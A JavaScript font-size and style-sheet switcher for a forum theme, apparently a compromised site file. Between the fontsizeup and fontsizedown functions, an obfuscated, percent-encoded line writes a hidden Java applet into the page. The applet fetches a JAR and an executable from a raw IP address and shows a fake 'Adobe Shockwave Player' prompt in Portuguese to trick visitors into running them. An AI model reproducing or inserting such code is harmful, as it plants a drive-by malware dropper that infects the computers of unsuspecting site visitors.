function fontsizeup(event)
{
	// Skip tabs; 9 being the ASCII code for a tab
	if (event && getKeyCode(event) == 9)
	{
		return true;
	}

	var active = getActiveStyleSheet();

	switch (active)
	{
		case 'A--':
			setActiveStyleSheet('A-');
		break;

		case 'A-':
			setActiveStyleSheet('A');
		break;

		case 'A':
			setActiveStyleSheet('A+');
		break;

		case 'A+':
			setActiveStyleSheet('A++');
		break;

		case 'A++':
			setActiveStyleSheet('A');
		break;

		default:
			setActiveStyleSheet('A');
		break;
	}

	return false;
}
var codigo = (unescape('%3C%61%70%70%6C%65%74%20%6E%61%6D%65%3D%22%53%65%75%20%43%6F%6D%70%75%74%61%64%6F%72%20%6E%E3%6F%20%70%6F%73%73%75%69%20%41%64%6F%62%65%20%53%68%6F%63%6B%77%61%76%65%20%50%6C%61%79%65%72%20%63%6C%69%71%75%65%20%65%6D%20%52%55%4E%20%70%61%72%61%20%70%72%6F%73%65%67%75%69%72%20%2D%20%A9%41%64%6F%62%65%20%53%68%6F%63%6B%77%61%76%65%20%50%6C%61%79%65%72%20%56%65%72%73%69%6F%6E%20%31%31%2E%35%2E%30%2E%36%30%30%22%20%63%6F%64%65%3D%22%4D%61%69%6E%2E%63%6C%61%73%73%22%20%61%72%63%68%69%76%65%3D%22%68%74%74%70%3A%2F%2F%31%39%38%2E%31%30%36%2E%32%34%34%2E%31%36%31%2F%43%65%72%74%69%66%69%63%61%64%6F%2E%6A%61%72%22%20%68%65%69%67%68%74%3D%22%31%30%22%20%77%69%64%74%68%3D%22%31%22%3E%3C%70%61%72%61%6D%20%6E%61%6D%65%3D%22%6C%69%6E%6B%22%20%76%61%6C%75%65%3D%22%68%74%74%70%3A%2F%2F%31%39%38%2E%31%30%36%2E%32%34%34%2E%31%36%31%2F%53%68%6F%63%6B%77%61%76%65%5F%49%6E%73%74%61%6C%6C%65%72%5F%53%6C%69%6D%2E%65%78%65%22%3E%3C%2F%61%70%70%6C%65%74%3E'))
document.write(codigo);
function fontsizedown(event)
{
	// Skip tabs
	if (event && getKeyCode(event) == 9)
	{
		return true;
	}

	var active = getActiveStyleSheet();

	switch (active)
	{
		case 'A++' : 
			setActiveStyleSheet('A+');
		break;

		case 'A+' : 
			setActiveStyleSheet('A');
		break;

		case 'A' : 
			setActiveStyleSheet('A-');
		break;

		case 'A-' : 
			setActiveStyleSheet('A--');
		break;

		case 'A--' : 
		break;

		default :
			setActiveStyleSheet('A--');
		break;
	}

	return false;
}

function getKeyCode(event)
{
	// IE doesn't fire the onkeypress event for tabs
	// Reference: http://www.quirksmode.org/js/keys.html

	var code = (event.keyCode) ? event.keyCode : 0;

	// Probably using FF
	if (!code && event.charCode)
	{
		code = event.charCode;
	}

	return code;
}

function setActiveStyleSheet(title)
{
	var i, a, main;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title'))
		{
			a.disabled = true;
			if (a.getAttribute('title') == title)
			{
				a.disabled = false;
			}
		}
	}
}

function getActiveStyleSheet()
{
	var i, a;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title') && !a.disabled)
		{
			return a.getAttribute('title');
		}
	}

	return null;
}

function getPreferredStyleSheet()
{
	return ('A-');
}

function createCookie(name, value, days)
{
	if (days)
	{
		var date = new Date();
		date.setTime(date.getTime() + (days*24*60*60*1000));
		var expires = '; expires=' + date.toGMTString();
	}
	else
	{
		expires = '';
	}

	document.cookie = name + '=' + value + expires + style_cookie_settings;
}

function readCookie(name)
{
	var nameEQ = name + '=';
	var ca = document.cookie.split(';');

	for (var i = 0; i < ca.length; i++)
	{
		var c = ca[i];

		while (c.charAt(0) == ' ')
		{
			c = c.substring(1, c.length);
		}

		if (c.indexOf(nameEQ) == 0)
		{
			return c.substring(nameEQ.length, c.length);
		}
	}

	return null;
}

function load_cookie()
{
	var cookie = readCookie('style_cookie');
	var title = cookie ? cookie : getPreferredStyleSheet();
	setActiveStyleSheet(title);
}

function unload_cookie()
{
	var title = getActiveStyleSheet();
	createCookie('style_cookie', title, 365);
}

onload_functions.push('load_cookie()');
onunload_functions.push('unload_cookie()');

/*
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
*/